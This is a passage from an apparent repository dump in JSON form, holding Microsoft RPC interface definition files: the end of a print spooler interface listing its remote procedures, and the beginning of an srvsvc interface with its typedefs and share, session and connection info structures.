phPrinter\n        );\n\n    DWORD\n        RpcAddForm(\n            [in] PRINTER_HANDLE hPrinter,\n            [in] FORM_CONTAINER* pFormInfoContainer\n        );\n\n    DWORD\n        RpcDeleteForm(\n            [in] PRINTER_HANDLE hPrinter,\n            [in, string] wchar_t* pFormName\n        );\n\n    DWORD\n        RpcGetForm(\n            [in] PRINTER_HANDLE hPrinter,\n            [in, string] wchar_t* pFormName,\n            [in] DWORD Level,\n            [in, out, unique, size_is(cbBuf), disable_consistency_check] BYTE*\n            pForm,\n            [in] DWORD cbBuf,\n            [out] DWORD* pcbNeeded\n        );\n\n    DWORD\n        RpcSetForm(\n            [in] PRINTER_HANDLE hPrinter,\n            [in, string] wchar_t* pFormName,\n            [in] FORM_CONTAINER* pFormInfoContainer\n        );\n\n    DWORD\n        RpcEnumForms(\n            [in] PRINTER_HANDLE hPrinter,\n            [in] DWORD Level,\n            [in, out, unique, size_is(cbBuf), disable_consistency_check] BYTE*\n            pForm,\n            [in] DWORD  cbBuf,\n            [out] DWORD* pcbNeeded,\n            [out] DWORD* pcReturned\n        );\n\n    DWORD\n        RpcEnumPorts(\n            [in, string, unique] STRING_HANDLE pName,\n            [in] DWORD Level,\n            [in, out, unique, size_is(cbBuf), disable_consistency_check] BYTE*\n            pPort,\n            [in] DWORD  cbBuf,\n            [out] DWORD* pcbNeeded,\n            [out] DWORD* pcReturned\n        );\n\n    DWORD\n        RpcEnumMonitors(\n            [in, string, unique] STRING_HANDLE pName,\n            [in] DWORD Level,\n            [in, out, unique, size_is(cbBuf), disable_consistency_check] BYTE*\n            pMonitor,\n            [in] DWORD  cbBuf,\n            [out] DWORD* pcbNeeded,\n            [out] DWORD* pcReturned\n        );\n\n    void\n        Opnum37NotUsedOnWire();\n\n    void\n        Opnum38NotUsedOnWire();\n\n    DWORD\n        RpcDeletePort(\n            [in, string, unique] STRING_HANDLE pName,\n            [in] ULONG_PTR hWnd,\n            [in, string] wchar_t* pPortName\n        );\n\n    DWORD\n        RpcCreatePrinterIC(\n            [in] PRINTER_HANDLE hPrinter,\n            [out] GDI_HANDLE* pHandle,\n            [in] DEVMODE_CONTAINER* pDevModeContainer\n        );\n\n    DWORD\n        RpcPlayGdiScriptOnPrinterIC(\n            [in] GDI_HANDLE  hPrinterIC,\n            [in, size_is(cIn)] BYTE* pIn,\n            [in] DWORD cIn,\n            [out, size_is(cOut)] BYTE* pOut,\n            [in] DWORD cOut,\n            [in] DWORD ul\n        );\n\n    DWORD\n        RpcDeletePrinterIC(\n            [in, out] GDI_HANDLE* phPrinterIC\n        );\n\n    void\n        Opnum43NotUsedOnWire();\n\n    void\n        Opnum44NotUsedOnWire();\n\n    void\n        Opnum45NotUsedOnWire();\n\n    DWORD\n        RpcAddMonitor(\n            [in, string, unique] STRING_HANDLE Name,\n            [in] MONITOR_CONTAINER* pMonitorContainer\n        );\n\n    DWORD\n        RpcDeleteMonitor(\n            [in, string, unique] STRING_HANDLE Name,\n            [in, string, unique] wchar_t* pEnvironment,\n            [in, string] wchar_t* pMonitorName\n        );\n\n    DWORD\n        RpcDeletePrintProcessor(\n            [in, string, unique] STRING_HANDLE Name,\n            [in, string, unique] wchar_t* pEnvironment,\n            [in, string] wchar_t* pPrintProcessorName\n        );\n\n    void\n        Opnum49NotUsedOnWire();\n\n    void\n        Opnum50NotUsedOnWire();\n\n    DWORD\n        RpcEnumPrintProcessorDatatypes(\n            [in, string, unique] STRING_HANDLE pName,\n            [in, string, unique] wchar_t* pPrintProcessorName,\n            [in] DWORD Level,\n            [in, out, unique, size_is(cbBuf), disable_consistency_check] BYTE*\n            pDatatypes,\n            [in] DWORD  cbBuf,\n            [out] DWORD* pcbNeeded,\n            [out] DWORD* pcReturned\n        );\n\n    DWORD\n        RpcResetPrinter(\n            [in] PRINTER_HANDLE hPrinter,\n            [in, string, unique] wchar_t* pDatatype,\n            [in] DEVMODE_CONTAINER* pDevModeContainer\n        );\n\n    DWORD\n        RpcGetPrinterDriver2(\n            [in] PRINTER_HANDLE hPrinter,\n            [in, string, unique] wchar_t* pEnvironment,\n            [in] DWORD Level,\n            [in, out, unique, size_is(cbBuf), disable_consistency_check] BYTE*\n            pDriver,\n            [in] DWORD cbBuf,\n            [out] DWORD* pcbNeeded,\n            [in] DWORD dwClientMajorVersion,\n            [in] DWORD dwClientMinorVersion,\n            [out] DWORD* pdwServerMaxVersion,\n            [out] DWORD* pdwServerMinVersion\n        );\n\n    void\n        Opnum54NotUsedOnWire();\n\n    void\n        Opnum55NotUsedOnWire();\n\n    DWORD\n        RpcFindClosePrinterChangeNotification(\n            [in] PRINTER_HANDLE hPrinter\n        );\n\n    void\n        Opnum57NotUsedOnWire();\n\n    DWORD\n        RpcReplyOpenPrinter(\n            [in, string] STRING_HANDLE pMachine,\n            [out] PRINTER_HANDLE* phPrinterNotify,\n            [in] DWORD dwPrinterRemote,\n            [in] DWORD dwType,\n            [in, range(0, 512)] DWORD cbBuffer,\n            [in, unique, size_is(cbBuffer), disable_consistency_check] BYTE*\n            pBuffer\n        );\n\n    DWORD\n        RpcRouterReplyPrinter(\n            [in] PRINTER_HANDLE hNotify,\n            [in] DWORD fdwFlags,\n            [in, range(0, 512)] DWORD cbBuffer,\n            [in, unique, size_is(cbBuffer), disable_consistency_check] BYTE*\n            pBuffer\n        );\n\n    DWORD\n        RpcReplyClosePrinter(\n            [in, out] PRINTER_HANDLE* phNotify\n        );\n\n    DWORD\n        RpcAddPortEx(\n            [in, string, unique] STRING_HANDLE pName,\n            [in] PORT_CONTAINER* pPortContainer,\n            [in] PORT_VAR_CONTAINER* pPortVarContainer,\n            [in, string] wchar_t* pMonitorName\n        );\n\n    DWORD\n        RpcRemoteFindFirstPrinterChangeNotification(\n            [in] PRINTER_HANDLE hPrinter,\n            [in] DWORD fdwFlags,\n            [in] DWORD fdwOptions,\n            [in, string, unique] wchar_t* pszLocalMachine,\n            [in] DWORD dwPrinterLocal,\n            [in, range(0, 512)] DWORD cbBuffer,\n            [in, out, unique, size_is(cbBuffer), disable_consistency_check]\n            BYTE* pBuffer\n        );\n\n    void\n        Opnum63NotUsedOnWire();\n\n    void\n        Opnum64NotUsedOnWire();\n\n    DWORD\n        RpcRemoteFindFirstPrinterChangeNotificationEx(\n            [in] PRINTER_HANDLE hPrinter,\n            [in] DWORD fdwFlags,\n            [in] DWORD fdwOptions,\n            [in, string, unique] wchar_t* pszLocalMachine,\n            [in] DWORD dwPrinterLocal,\n            [in, unique] RPC_V2_NOTIFY_OPTIONS* pOptions\n        );\n\n    DWORD\n        RpcRouterReplyPrinterEx(\n            [in] PRINTER_HANDLE hNotify,\n            [in] DWORD dwColor,\n            [in] DWORD fdwFlags,\n            [out] DWORD* pdwResult,\n            [in] DWORD dwReplyType,\n            [in] long Reply\n        );\n\n    DWORD\n        RpcRouterRefreshPrinterChangeNotification(\n            [in] PRINTER_HANDLE hPrinter,\n            [in] DWORD dwColor,\n            [in, unique] RPC_V2_NOTIFY_OPTIONS* pOptions,\n            [out] long* ppInfo\n        );\n\n    void\n        Opnum68NotUsedOnWire();\n\n    DWORD\n        RpcOpenPrinterEx(\n            [in, string, unique] STRING_HANDLE pPrinterName,\n            [out] PRINTER_HANDLE* pHandle,\n            [in, string, unique] wchar_t* pDatatype,\n            [in] DEVMODE_CONTAINER* pDevModeContainer,\n            [in] DWORD AccessRequired,\n            [in] SPLCLIENT_CONTAINER* pClientInfo\n        );\n\n    DWORD\n        RpcAddPrinterEx(\n            [in, string, unique] STRING_HANDLE pName,\n            [in] PRINTER_CONTAINER* pPrinterContainer,\n            [in] DEVMODE_CONTAINER* pDevModeContainer,\n            [in] SECURITY_CONTAINER* pSecurityContainer,\n            [in] SPLCLIENT_CONTAINER* pClientInfo,\n            [out] PRINTER_HANDLE* pHandle\n        );\n\n    DWORD\n        RpcSetPort(\n            [in, string, unique] STRING_HANDLE pName,\n            [in, string, unique] wchar_t* pPortName,\n            [in] PORT_CONTAINER* pPortContainer\n        );\n\n    DWORD\n        RpcEnumPrinterData(\n            [in] PRINTER_HANDLE hPrinter,\n            [in] DWORD dwIndex,\n            [out, size_is(cbValueName / sizeof(wchar_t))] wchar_t* pValueName,\n            [in]  DWORD cbValueName,\n            [out] DWORD* pcbValueName,\n            [out] DWORD* pType,\n            [out, size_is(cbData)] BYTE* pData,\n            [in]  DWORD cbData,\n            [out] DWORD* pcbData\n        );\n\n    DWORD\n        RpcDeletePrinterData(\n            [in] PRINTER_HANDLE hPrinter,\n            [in, string] wchar_t* pValueName\n        );\n\n    void\n        Opnum74NotUsedOnWire();\n\n    void\n        Opnum75NotUsedOnWire();\n\n    void\n        Opnum76NotUsedOnWire();\n\n    DWORD\n        RpcSetPrinterDataEx(\n            [in] PRINTER_HANDLE hPrinter,\n            [in, string] const wchar_t* pKeyName,\n            [in, string] const wchar_t* pValueName,\n            [in] DWORD Type,\n            [in, size_is(cbData)] BYTE* pData,\n            [in] DWORD cbData\n        );\n\n    DWORD\n        RpcGetPrinterDataEx(\n            [in] PRINTER_HANDLE hPrinter,\n            [in, string] const wchar_t* pKeyName,\n            [in, string] const wchar_t* pValueName,\n            [out] DWORD* pType,\n            [out, size_is(nSize)] BYTE* pData,\n            [in] DWORD nSize,\n            [out] DWORD* pcbNeeded\n        );\n\n    DWORD\n        RpcEnumPrinterDataEx(\n            [in] PRINTER_HANDLE hPrinter,\n            [in, string]  const wchar_t* pKeyName,\n            [out, size_is(cbEnumValues)] BYTE* pEnumValues,\n            [in]  DWORD cbEnumValues,\n            [out] DWORD* pcbEnumValues,\n            [out] DWORD* pnEnumValues\n        );\n\n    DWORD\n        RpcEnumPrinterKey(\n            [in] PRINTER_HANDLE hPrinter,\n            [in, string] const wchar_t* pKeyName,\n            [out, size_is(cbSubkey / sizeof(wchar_t))] wchar_t* pSubkey,\n            [in]  DWORD cbSubkey,\n            [out] DWORD* pcbSubkey\n        );\n\n    DWORD\n        RpcDeletePrinterDataEx(\n            [in] PRINTER_HANDLE hPrinter,\n            [in, string] const wchar_t* pKeyName,\n            [in, string] const wchar_t* pValueName\n        );\n\n    DWORD\n        RpcDeletePrinterKey(\n            [in] PRINTER_HANDLE hPrinter,\n            [in, string] const wchar_t* pKeyName\n        );\n\n    void\n        Opnum83NotUsedOnWire();\n\n    DWORD\n        RpcDeletePrinterDriverEx(\n            [in, string, unique] STRING_HANDLE pName,\n            [in, string] wchar_t* pEnvironment,\n            [in, string] wchar_t* pDriverName,\n            [in] DWORD dwDeleteFlag,\n            [in] DWORD dwVersionNum\n        );\n\n    DWORD\n        RpcAddPerMachineConnection(\n            [in, string, unique] STRING_HANDLE pServer,\n            [in, string] const wchar_t* pPrinterName,\n            [in, string] const wchar_t* pPrintServer,\n            [in, string] const wchar_t* pProvider\n        );\n\n    DWORD\n        RpcDeletePerMachineConnection(\n            [in, string, unique] STRING_HANDLE pServer,\n            [in, string] const wchar_t* pPrinterName\n        );\n\n    DWORD\n        RpcEnumPerMachineConnections(\n            [in, string, unique]  STRING_HANDLE pServer,\n            [in, out, unique, size_is(cbBuf), disable_consistency_check] BYTE*\n            pPrinterEnum,\n            [in]  DWORD  cbBuf,\n            [out] DWORD* pcbNeeded,\n            [out] DWORD* pcReturned\n        );\n\n    DWORD\n        RpcXcvData(\n            [in] PRINTER_HANDLE hXcv,\n            [in, string]  const wchar_t* pszDataName,\n            [in, size_is(cbInputData)] BYTE* pInputData,\n            [in] DWORD cbInputData,\n            [out, size_is(cbOutputData)] BYTE* pOutputData,\n            [in] DWORD cbOutputData,\n            [out] DWORD* pcbOutputNeeded,\n            [in, out] DWORD* pdwStatus\n        );\n\n    DWORD\n        RpcAddPrinterDriverEx(\n            [in, string, unique] STRING_HANDLE pName,\n            [in] DRIVER_CONTAINER* pDriverContainer,\n            [in] DWORD dwFileCopyFlags\n        );\n\n    void\n        Opnum90NotUsedOnWire();\n\n    void\n        Opnum91NotUsedOnWire();\n\n    void\n        Opnum92NotUsedOnWire();\n\n    void\n        Opnum93NotUsedOnWire();\n\n    void\n        Opnum94NotUsedOnWire();\n\n    void\n        Opnum95NotUsedOnWire();\n\n    DWORD\n        RpcFlushPrinter(\n            [in] PRINTER_HANDLE hPrinter,\n            [in, size_is(cbBuf)] BYTE* pBuf,\n            [in] DWORD cbBuf,\n            [out] DWORD* pcWritten,\n            [in] DWORD cSleep\n        );\n\n    DWORD RpcSendRecvBidiData(\n        [in] PRINTER_HANDLE hPrinter,\n        [in, string, unique] const wchar_t* pAction,\n        [in] long pReqData,\n        [out] long* ppRespData);\n\n    void\n        Opnum98NotUsedOnWire();\n\n    void\n        Opnum99NotUsedOnWire();\n\n    void\n        Opnum100NotUsedOnWire();\n\n    void\n        Opnum101NotUsedOnWire();\n\n    HRESULT RpcGetCorePrinterDrivers(\n        [in, string, unique]                STRING_HANDLE          pszServer,\n        [in, string]                  const wchar_t* pszEnvironment,\n        [in]                                DWORD                  cchCoreDrivers,\n        [in, size_is(cchCoreDrivers)] const wchar_t* pszzCoreDriverDependencies,\n        [in]                                DWORD                  cCorePrinterDrivers,\n        [out] long* pCorePrinterDrivers);\n\n    void\n        Opnum103NotUsedOnWire();\n\n    HRESULT RpcGetPrinterDriverPackagePath(\n        [in, string, unique]       STRING_HANDLE  pszServer,\n        [in, string]         const wchar_t* pszEnvironment,\n        [in, string, unique] const wchar_t* pszLanguage,\n        [in, string]         const wchar_t* pszPackageID,\n        [in, out, unique, size_is(cchDriverPackageCab)]\n        wchar_t* pszDriverPackageCab,\n        [in]                       DWORD          cchDriverPackageCab,\n        [out]                      LPDWORD        pcchRequiredSize);\n\n    void\n        Opnum105NotUsedOnWire();\n\n    void\n        Opnum106NotUsedOnWire();\n\n    void\n        Opnum107NotUsedOnWire();\n\n    void\n        Opnum108NotUsedOnWire();\n\n    void\n        Opnum109NotUsedOnWire();\n\n    DWORD RpcGetJobNamedPropertyValue(\n        [in]  PRINTER_HANDLE         hPrinter,\n        [in]  DWORD                  JobId,\n        [in, string] const wchar_t* pszName,\n        [out] long* pValue);\n\n    DWORD RpcSetJobNamedProperty(\n        [in] PRINTER_HANDLE          hPrinter,\n        [in] DWORD                   JobId,\n        [in] long pProperty);\n\n    DWORD RpcDeleteJobNamedProperty(\n        [in]  PRINTER_HANDLE         hPrinter,\n        [in]  DWORD                  JobId,\n        [in, string] const wchar_t* pszName);\n\n    DWORD RpcEnumJobNamedProperties(\n        [in]                           PRINTER_HANDLE         hPrinter,\n        [in]                           DWORD                  JobId,\n        [out]                          DWORD* pcProperties,\n        [out] long* ppProperties);\n\n    long Proc114(\n        [in][unique][string] wchar_t* arg_0);\n\n    long Proc115(\n        [in][context_handle] void* arg_0,\n        [out]unsigned __int3264* arg_1);\n\n    long Proc116(\n        [in][context_handle] void* arg_0,\n        [in] long arg_1);\n}\n"
  },
  {
    "path": "IDL_FILES/ms-srvsvc.idl",
    "content": "[\n    uuid(4B324FC8-1670-01D3-1278-5A47BF6EE188),\n        version(3.0),\n        ms_union,\n        pointer_default(unique)\n]\ninterface srvsvc\n{\n    typedef int BOOL, * PBOOL, * LPBOOL;\n    typedef unsigned char BYTE, * PBYTE, * LPBYTE;\n    typedef BYTE BOOLEAN, * PBOOLEAN;\n    typedef wchar_t WCHAR, * PWCHAR;\n    typedef WCHAR* BSTR;\n    typedef double DOUBLE;\n    typedef unsigned long DWORD, * PDWORD, * LPDWORD;\n    typedef unsigned int DWORD32;\n    typedef unsigned __int64 DWORD64, * PDWORD64;\n    typedef unsigned __int64 ULONGLONG;\n    typedef ULONGLONG DWORDLONG, * PDWORDLONG;\n    typedef unsigned char UCHAR, * PUCHAR;\n\n    typedef void* HANDLE;\n    typedef DWORD HCALL;\n    typedef int INT, * LPINT;\n    typedef signed char INT8;\n    typedef signed short INT16;\n    typedef signed int INT32;\n    typedef signed __int64 INT64;\n    typedef void* LDAP_UDP_HANDLE;\n    typedef const wchar_t* LMCSTR;\n    typedef WCHAR* LMSTR;\n    typedef long LONG, * PLONG, * LPLONG;\n    typedef signed __int64 LONGLONG;\n    typedef LONG HRESULT;\n\n    typedef __int3264 LONG_PTR;\n    typedef unsigned __int3264 ULONG_PTR;\n\n    typedef signed int LONG32;\n    typedef signed __int64 LONG64, * PLONG64;\n    typedef const void* LPCVOID;\n\n    typedef wchar_t* LPWSTR, * PWSTR;\n    typedef DWORD NET_API_STATUS;\n    typedef long NTSTATUS;\n    typedef [context_handle] void* PCONTEXT_HANDLE;\n    typedef [ref] PCONTEXT_HANDLE* PPCONTEXT_HANDLE;\n    typedef const wchar_t* LPCWSTR;\n\n    typedef unsigned int UINT;\n    typedef unsigned char UINT8;\n    typedef unsigned short UINT16;\n    typedef unsigned int UINT32;\n    typedef unsigned __int64 UINT64;\n    typedef unsigned long ULONG, * PULONG;\n    typedef unsigned __int64 QWORD;\n    typedef void* RPC_BINDING_HANDLE;\n    typedef UCHAR* STRING;\n    typedef ULONG_PTR DWORD_PTR;\n    typedef ULONG_PTR SIZE_T;\n    typedef unsigned int ULONG32;\n    typedef unsigned __int64 ULONG64;\n    typedef unsigned short USHORT;\n    typedef void* PVOID, * LPVOID;\n    typedef unsigned short WORD, * PWORD, * LPWORD;\n    typedef DWORD SECURITY_INFORMATION, * PSECURITY_INFORMATION;\n\n    typedef struct _GUID {\n        unsigned long Data1;\n        unsigned short Data2;\n        unsigned short Data3;\n        byte Data4[8];\n    } GUID,\n        UUID,\n        * PGUID;\n\n\n    typedef [handle, string] wchar_t* SRVSVC_HANDLE;\n\n    typedef struct _CONNECTION_INFO_0\n    {\n        DWORD coni0_id;\n    } CONNECTION_INFO_0,\n        * PCONNECTION_INFO_0,\n        * LPCONNECTION_INFO_0;\n\n    typedef struct _CONNECT_INFO_0_CONTAINER\n    {\n        DWORD EntriesRead;\n        [size_is(EntriesRead)] LPCONNECTION_INFO_0 Buffer;\n    } CONNECT_INFO_0_CONTAINER,\n        * PCONNECT_INFO_0_CONTAINER,\n        * LPCONNECT_INFO_0_CONTAINER;\n\n    typedef struct _CONNECTION_INFO_1\n    {\n        DWORD coni1_id;\n        DWORD coni1_type;\n        DWORD coni1_num_opens;\n        DWORD coni1_num_users;\n        DWORD coni1_time;\n        [string] wchar_t* coni1_username;\n        [string] wchar_t* coni1_netname;\n    } CONNECTION_INFO_1,\n        * PCONNECTION_INFO_1,\n        * LPCONNECTION_INFO_1;\n\n    typedef struct _CONNECT_INFO_1_CONTAINER\n    {\n        DWORD EntriesRead;\n        [size_is(EntriesRead)] LPCONNECTION_INFO_1 Buffer;\n    } CONNECT_INFO_1_CONTAINER,\n        * PCONNECT_INFO_1_CONTAINER,\n        * LPCONNECT_INFO_1_CONTAINER;\n\n    typedef [switch_type(DWORD)] union _CONNECT_ENUM_UNION {\n        [case(0)]\n            CONNECT_INFO_0_CONTAINER* Level0;\n        [case(1)]\n            CONNECT_INFO_1_CONTAINER* Level1;\n    } CONNECT_ENUM_UNION;\n\n    typedef struct _CONNECT_ENUM_STRUCT {\n        DWORD Level;\n        [switch_is(Level)] CONNECT_ENUM_UNION ConnectInfo;\n    } CONNECT_ENUM_STRUCT,\n        * PCONNECT_ENUM_STRUCT,\n        * LPCONNECT_ENUM_STRUCT;\n\n    typedef struct _FILE_INFO_2\n    {\n        DWORD fi2_id;\n    } FILE_INFO_2, * PFILE_INFO_2, * LPFILE_INFO_2;\n\n    typedef struct _FILE_INFO_2_CONTAINER\n    {\n        DWORD EntriesRead;\n        [size_is(EntriesRead)] LPFILE_INFO_2 Buffer;\n    } FILE_INFO_2_CONTAINER,\n        * PFILE_INFO_2_CONTAINER,\n        * LPFILE_INFO_2_CONTAINER;\n\n    typedef struct _FILE_INFO_3 {\n        DWORD fi3_id;\n        DWORD fi3_permissions;\n        DWORD fi3_num_locks;\n        [string] wchar_t* fi3_pathname;\n        [string] wchar_t* fi3_username;\n    } FILE_INFO_3,\n        * PFILE_INFO_3,\n        * LPFILE_INFO_3;\n\n    typedef struct _FILE_INFO_3_CONTAINER\n    {\n        DWORD EntriesRead;\n        [size_is(EntriesRead)] LPFILE_INFO_3 Buffer;\n    } FILE_INFO_3_CONTAINER,\n        * PFILE_INFO_3_CONTAINER,\n        * LPFILE_INFO_3_CONTAINER;\n\n    typedef [switch_type(DWORD)] union _FILE_ENUM_UNION {\n        [case(2)]\n            FILE_INFO_2_CONTAINER* Level2;\n        [case(3)]\n            FILE_INFO_3_CONTAINER* Level3;\n    } FILE_ENUM_UNION;\n\n    typedef struct _FILE_ENUM_STRUCT {\n        DWORD Level;\n        [switch_is(Level)] FILE_ENUM_UNION FileInfo;\n    } FILE_ENUM_STRUCT,\n        * PFILE_ENUM_STRUCT,\n        * LPFILE_ENUM_STRUCT;\n\n    typedef [switch_type(unsigned long)] union _FILE_INFO\n    {\n        [case(2)]\n            LPFILE_INFO_2 FileInfo2;\n        [case(3)]\n            LPFILE_INFO_3 FileInfo3;\n    } FILE_INFO,\n        * PFILE_INFO,\n        * LPFILE_INFO;\n\n    typedef struct _SESSION_INFO_0\n    {\n        [string] wchar_t* sesi0_cname;\n    } SESSION_INFO_0,\n        * PSESSION_INFO_0,\n        * LPSESSION_INFO_0;\n\n    typedef struct _SESSION_INFO_0_CONTAINER\n    {\n        DWORD EntriesRead;\n        [size_is(EntriesRead)] LPSESSION_INFO_0 Buffer;\n    } SESSION_INFO_0_CONTAINER,\n        * PSESSION_INFO_0_CONTAINER,\n        * LPSESSION_INFO_0_CONTAINER;\n\n    typedef struct _SESSION_INFO_1\n    {\n        [string] wchar_t* sesi1_cname;\n        [string] wchar_t* sesi1_username;\n        DWORD sesi1_num_opens;\n        DWORD sesi1_time;\n        DWORD sesi1_idle_time;\n        DWORD sesi1_user_flags;\n    } SESSION_INFO_1,\n        * PSESSION_INFO_1,\n        * LPSESSION_INFO_1;\n\n    typedef struct _SESSION_INFO_1_CONTAINER\n    {\n        DWORD EntriesRead;\n        [size_is(EntriesRead)] LPSESSION_INFO_1 Buffer;\n    } SESSION_INFO_1_CONTAINER,\n        * PSESSION_INFO_1_CONTAINER,\n        * LPSESSION_INFO_1_CONTAINER;\n\n    typedef struct _SESSION_INFO_2\n    {\n        [string] wchar_t* sesi2_cname;\n        [string] wchar_t* sesi2_username;\n        DWORD sesi2_num_opens;\n        DWORD sesi2_time;\n        DWORD sesi2_idle_time;\n        DWORD sesi2_user_flags;\n        [string] wchar_t* sesi2_cltype_name;\n    } SESSION_INFO_2,\n        * PSESSION_INFO_2,\n        * LPSESSION_INFO_2;\n\n    typedef struct _SESSION_INFO_2_CONTAINER\n    {\n        DWORD EntriesRead;\n        [size_is(EntriesRead)] LPSESSION_INFO_2 Buffer;\n    } SESSION_INFO_2_CONTAINER,\n        * PSESSION_INFO_2_CONTAINER,\n        * LPSESSION_INFO_2_CONTAINER;\n\n    typedef struct _SESSION_INFO_10\n    {\n        [string] wchar_t* sesi10_cname;\n        [string] wchar_t* sesi10_username;\n        DWORD sesi10_time;\n        DWORD sesi10_idle_time;\n    } SESSION_INFO_10,\n        * PSESSION_INFO_10,\n        * LPSESSION_INFO_10;\n\n    typedef struct _SESSION_INFO_10_CONTAINER\n    {\n        DWORD EntriesRead;\n        [size_is(EntriesRead)] LPSESSION_INFO_10 Buffer;\n    } SESSION_INFO_10_CONTAINER,\n        * PSESSION_INFO_10_CONTAINER,\n        * LPSESSION_INFO_10_CONTAINER;\n\n    typedef struct _SESSION_INFO_502\n    {\n        [string] wchar_t* sesi502_cname;\n        [string] wchar_t* sesi502_username;\n        DWORD sesi502_num_opens;\n        DWORD sesi502_time;\n        DWORD sesi502_idle_time;\n        DWORD sesi502_user_flags;\n        [string] wchar_t* sesi502_cltype_name;\n        [string] wchar_t* sesi502_transport;\n    } SESSION_INFO_502,\n        * PSESSION_INFO_502,\n        * LPSESSION_INFO_502;\n\n    typedef struct _SESSION_INFO_502_CONTAINER\n    {\n        DWORD EntriesRead;\n        [size_is(EntriesRead)] LPSESSION_INFO_502 Buffer;\n    } SESSION_INFO_502_CONTAINER,\n        * PSESSION_INFO_502_CONTAINER,\n        * LPSESSION_INFO_502_CONTAINER;\n\n    typedef [switch_type(DWORD)] union _SESSION_ENUM_UNION {\n        [case(0)]\n            SESSION_INFO_0_CONTAINER* Level0;\n        [case(1)]\n            SESSION_INFO_1_CONTAINER* Level1;\n        [case(2)]\n            SESSION_INFO_2_CONTAINER* Level2;\n        [case(10)]\n            SESSION_INFO_10_CONTAINER* Level10;\n        [case(502)]\n            SESSION_INFO_502_CONTAINER* Level502;\n    } SESSION_ENUM_UNION;\n\n    typedef struct _SESSION_ENUM_STRUCT {\n        DWORD Level;\n        [switch_is(Level)] SESSION_ENUM_UNION SessionInfo;\n    } SESSION_ENUM_STRUCT,\n        * PSESSION_ENUM_STRUCT,\n        * LPSESSION_ENUM_STRUCT;\n\n    typedef struct _SHARE_INFO_502_I\n    {\n        [string] WCHAR* shi502_netname;\n        DWORD shi502_type;\n        [string] WCHAR* shi502_remark;\n        DWORD shi502_permissions;\n        DWORD shi502_max_uses;\n        DWORD shi502_current_uses;\n        [string] WCHAR* shi502_path;\n        [string] WCHAR* shi502_passwd;\n        DWORD shi502_reserved;\n        [size_is(shi502_reserved)] unsigned char\n            * shi502_security_descriptor;\n    } SHARE_INFO_502_I,\n        * PSHARE_INFO_502_I,\n        * LPSHARE_INFO_502_I;\n\n    typedef struct _SHARE_INFO_503_I\n    {\n        [string] WCHAR* shi503_netname;\n        DWORD            shi503_type;\n        [string] WCHAR* shi503_remark;\n        DWORD            shi503_permissions;\n        DWORD            shi503_max_uses;\n        DWORD            shi503_current_uses;\n        [string] WCHAR* shi503_path;\n        [string] WCHAR* shi503_passwd;\n        [string] WCHAR* shi503_servername;\n        DWORD            shi503_reserved;\n        [size_is(shi503_reserved)] PUCHAR shi503_security_descriptor;\n    } SHARE_INFO_503_I,\n        * PSHARE_INFO_503_I,\n        * LPSHARE_INFO_503_I;\n\n    typedef struct _SHARE_INFO_503_CONTAINER\n    {\n        DWORD EntriesRead;\n        [size_is(EntriesRead)] LPSHARE_INFO_503_I Buffer;\n    }   SHARE_INFO_503_CONTAINER,\n        * PSHARE_INFO_503_CONTAINER,\n        * LPSHARE_INFO_503_CONTAINER;\n\n    typedef struct _SHARE_INFO_1501_I\n    {\n        DWORD shi1501_reserved;\n        [size_is(shi1501_reserved)] unsigned char\n            * shi1501_security_descriptor;\n    } SHARE_INFO_1501_I,\n        * PSHARE_INFO_1501_I,\n        * LPSHARE_INFO_1501_I;\n\n    typedef struct _SHARE_INFO_0\n    {\n        [string] wchar_t* shi0_netname;\n    } SHARE_INFO_0,\n        * PSHARE_INFO_0,\n        * LPSHARE_INFO_0;\n\n    typedef struct _SHARE_INFO_0_CONTAINER\n    {\n        DWORD EntriesRead;\n        [size_is(EntriesRead)] LPSHARE_INFO_0 Buffer;\n    } SHARE_INFO_0_CONTAINER;\n\n    typedef struct _SHARE_INFO_1\n    {\n        [string] wchar_t* shi1_netname;\n        DWORD shi1_type;\n        [string] wchar_t* shi1_remark;\n    } SHARE_INFO_1,\n        * PSHARE_INFO_1,\n        * LPSHARE_INFO_1;\n\n    typedef struct _SHARE_INFO_1_CONTAINER\n    {\n        DWORD EntriesRead;\n        [size_is(EntriesRead)] LPSHARE_INFO_1 Buffer;\n    } SHARE_INFO_1_CONTAINER;\n\n    typedef struct _SHARE_INFO_2\n    {\n        [string] wchar_t* shi2_netname;\n        DWORD shi2_type;\n        [string] wchar_t* shi2_remark;\n        DWORD shi2_permissions;\n        DWORD shi2_max_uses;\n        DWORD shi2_current_uses;\n        [string] wchar_t* shi2_path;\n        [string] wchar_t* shi2_passwd;\n    } SHARE_INFO_2,\n        * PSHARE_INFO_2,\n        * LPSHARE_INFO_2;\n\n    typedef struct _SHARE_INFO_2_CONTAINER\n    {\n        DWORD EntriesRead;\n        [size_is(EntriesRead)] LPSHARE_INFO_2 Buffer;\n    } SHARE_INFO_2_CONTAINER,\n        * PSHARE_INFO_2_CONTAINER,\n        * LPSHARE_INFO_2_CONTAINER;\n\n    typedef struct _SHARE_INFO_501\n    {\n        [string] wchar_t* shi501_netname;\n        DWORD shi501_type;\n        [string] wchar_t* shi501_remark;\n        DWORD shi501_flags;\n    } SHARE_INFO_501,\n        * PSHARE_INFO_501,\n        * LPSHARE_INFO_501;\n\n    typedef struct _SHARE_INFO_501_CONTAINER\n    {\n        DWORD EntriesRead;\n        [size_is(EntriesRead)] LPSHARE_INFO_501 Buffer;\n    } SHARE_INFO_501_CONTAINER, * PSHARE_INFO_501_CONTAINER,\n        * LPSHARE_INFO_501_CONTAINER;\n\n    typedef struct _SHARE_INFO_502_CONTAINER\n    {\n        DWORD EntriesRead;\n        [size_is(EntriesRead)] LPSHARE_INFO_502_I Buffer;\n    } SHARE_INFO_502_CONTAINER,\n        * PSHARE_INFO_502_CONTAINER,\n        * LPSHARE_INFO_502_CONTAINER;\n\n    typedef [switch_type(DWORD)] union _SHARE_ENUM_UNION {\n        [case(0)]\n            SHARE_INFO_0_CONTAINER* Level0;\n        [case(1)]\n            SHARE_INFO_1_CONTAINER* Level1;\n        [case(2)]\n            SHARE_INFO_2_CONTAINER* Level2;\n        [case(501)]\n            SHARE_INFO_501_CONTAINER* Level501;\n        [case(502)]\n            SHARE_INFO_502_CONTAINER* Level502;\n        [case(503)]\n            SHARE_INFO_503_CONTAINER* Level503;\n    } SHARE_ENUM_UNION;\n\n    typedef struct _SHARE_ENUM_STRUCT\n    {\n        DWORD Level;\n        [switch_is(Level)] SHARE_ENUM_UNION ShareInfo;\n    }   SHARE_ENUM_STRUCT,\n        * PSHARE_ENUM_STRUCT,\n        * LPSHARE_ENUM_STRUCT;\n\n    typedef struct _SHARE_INFO_1004\n    